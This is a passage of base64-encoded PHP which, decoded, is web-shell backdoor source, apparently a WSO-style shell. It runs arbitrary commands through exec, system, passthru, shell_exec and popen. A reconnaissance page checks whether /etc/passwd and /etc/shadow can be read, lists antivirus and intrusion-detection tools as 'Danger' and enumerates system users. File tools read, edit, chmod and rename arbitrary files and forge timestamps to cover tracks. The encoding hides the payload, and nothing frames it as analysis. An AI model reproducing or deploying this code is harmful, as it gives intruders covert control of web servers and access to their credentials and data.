Glvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwkb3V0KTsKCQkkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKCX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJb2Jfc3RhcnQoKTsKCQlAcGFzc3RocnUoJGluKTsKCQkkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cgl9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKCQlvYl9zdGFydCgpOwoJCUBzeXN0ZW0oJGluKTsKCQkkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cgl9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKCX1lbHNlaWYoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7CgkJJG91dCA9ICIiOwoJCXdoaWxlKCFAZmVvZigkZikpCgkJCSRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7CgkJcGNsb3NlKCRmKTsKCX1lbHNlIHJldHVybiAiICBVbmFibGUgdG8gZXhlY3V0ZSBjb21tYW5kXG4iOwoJcmV0dXJuICgkb3V0PT0nJz8iICBRdWVyeSBkaWQgbm90IHJldHVybiBhbnl0aGluZ1xuIjokb3V0KTsKfQpmdW5jdGlvbiB2aWV3U2l6ZSgkcykgewoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CgllbHNlaWYoJHMgPj0gMTA0ODU3NikKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOwoJZWxzZWlmKCRzID49IDEwMjQpCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsKCWVsc2UKCQlyZXR1cm4gJHMgLiAnIEInOwp9CmZ1bmN0aW9uIHBlcm1zKCRwKSB7CglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CgllbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7CgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoJcmV0dXJuICRpOwp9CmZ1bmN0aW9uIHZpZXdQZXJtc0NvbG9yKCRmKSB7IAoJaWYgKCFAaXNfcmVhZGFibGUoJGYpKQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwoJZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkKCQlyZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CgllbHNlCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBBOEE4PjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CglmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKCQkkZGggID0gb3BlbmRpcigkZGlyKTsKCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSB7CiAgICAJCSRmaWxlc1tdID0gJGZpbGVuYW1lOwoJCX0KCQlyZXR1cm4gJGZpbGVzOwoJfQp9CmZ1bmN0aW9uIHdoaWNoKCRwKSB7CgkkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsKCWlmKCFlbXB0eSgkcGF0aCkpCgkJcmV0dXJuICRwYXRoOwoJcmV0dXJuIGZhbHNlOwp9Ci8vIFNlYy4gSW5mbyBnbyAtLS0tLS0tLS0tLS0tLS0tLS0tLQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewoJCSR2ID0gdHJpbSgkdik7CgkJaWYoJHYpIHsKCQkJZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JzsKCQkJaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCgkJCQllY2hvICR2Lic8YnI+JzsKCQkJZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsKCQl9Cgl9CgkKCXNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwoJc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwoJc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKCXNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKCXNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKCXNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CgkkdGVtcD1hcnJheSgpOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKCQkkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiTVNTUUwiOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk9yYWNsZSI7CglzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CgllY2hvICc8YnI+JzsKCQoJaWYoICRHTE9CQUxTWydvcyddID09ICduaXgnICkgewoJCSR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwoJCSRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOwoJCSRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwoJCXNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKCQlzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOwoJCXNob3dTZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsKCQlzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwoJCWlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKCQkJZWNobyAnPGJyPic7CgkJCSR0ZW1wPWFycmF5KCk7CgkJCWZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KCQkJc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CgkJCSR0ZW1wPWFycmF5KCk7CgkJCWZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pCgkJCQlpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQoJCQlzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KCQkJc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQllY2hvICc8YnIvPic7CgkJCXNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CgkJCXNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwoJCQlzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7CiAgICAgICAgICAgICAgICBlY2hvICc8YnIvPjxzcGFuPnBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgIGlmIChpc3NldCAoJF9QT1NUWydwMiddLCAkX1BPU1RbJ3AzJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMiddKSAmJiBpc19udW1lcmljKCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICIiOwogICAgICAgICAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewogICAgICAgICAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnVXNlcnMnLCAkdGVtcCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCX0gZWxzZSB7CgkJc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyAKCQlzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLGV4KCduZXQgYWNjb3VudHMnKSk7IAoJCXNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsZXgoJ25ldCB1c2VyJykpOwoJfQoJZWNobyAnPC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KLy8gU2VjLiBJbmZvIGVuZCAtLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBGaWxlIHRvb2xzIGdvIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7CglpZiggaXNzZXQoJF9QT1NUWydwMSddKSApCgkJJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CgkJaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKCQkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKCQkJCSR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CgkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogIi4kdHlwZSk7CgkJCX0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSghQGZlb2YoJGZwKSkKCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOwoJCQkJZmNsb3NlKCRmcCk7CgkJCX0KCQl9IGVsc2VpZihpc19kaXIoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJfQoJCWV4aXQ7Cgl9CglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgewoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwoJCQlpZigkZnApIHsKCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfQoJfQoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7CgkJZWNobyAnRmlsZSBub3QgZXhpc3RzJzsKCQlwcmludEZvb3RlcigpOwoJCXJldHVybjsKCX0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/dmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLnZpZXdQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOwoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7CglpZiggZW1wdHkoJF9QT1NUWydwMiddKSApCgkJJF9QT1NUWydwMiddID0gJ3ZpZXcnOwoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApCgkJJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOwoJZWxzZQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOwoJZm9yZWFjaCgkbSBhcyAkdikKCQllY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOwoJZWNobyAnPGJyPjxicj4nOwoJc3dpdGNoKCRfUE9TVFsncDInXSkgewoJCWNhc2UgJ3ZpZXcnOgoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOwoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJfQoJCQllY2hvICc8L3ByZT4nOwoJCQlicmVhazsKCQljYXNlICdoaWdobGlnaHQnOgoJCQlpZiggaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsKCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsKCQkJCSRjb2RlID0gaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOwoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsKCQkJfQoJCQlicmVhazsKCQljYXNlICdjaG1vZCc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCSRwZXJtcyA9IDA7CgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQoJCQkJCSRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7CgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkKCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsKCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdlZGl0JzoKCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwoJCQkJYnJlYWs7CgkJCX0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pOwoJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoICFAZmVvZigkZnApICkKCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQl9CgkJCWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ2hleGR1bXAnOgoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOwoJCQkkbiA9IDA7CgkJCSRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwoJCQkkbGVuID0gc3RybGVuKCRjKTsKCQkJZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CgkJCQkkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOwoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7CgkJCQkJY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQlkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOwoJCQkJfQoJCQkJJG4rKzsKCQkJCWlmICgkbiA9PSAzMikgewoJCQkJCSRuID0gMDsKCQkJCQlpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQoJCQkJCSRoWzFdIC49ICc8YnI+JzsKCQkJCQkkaFsyXSAuPSAiXG4iOwoJCQkJfQoJCSAJfQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7CgkJCWJyZWFrOwoJCWNhc2UgJ3JlbmFtZSc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCWlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkKCQkJCQllY2hvICdDYW5cJ3QgcmVuYW1lITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAndG91Y2gnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwoJCQkJaWYoJHRpbWUpIHsKCQkJCQlpZihAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKCQkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsKCQkJCQllbHNlIHsKCQkJCQkJZWNobyAnRmFpbCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCQkJfQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdta2ZpbGUnOgoJCQkKCQkJYnJlYWs7Cgl9CgllY2hvICc8L2Rpdj4nOwoJcHJpbnRGb290ZXIoKTsKfQovLyBGaWxlIHRvb2xzIGVuZCAtLS0tLS0tLS0tLS0tLS0t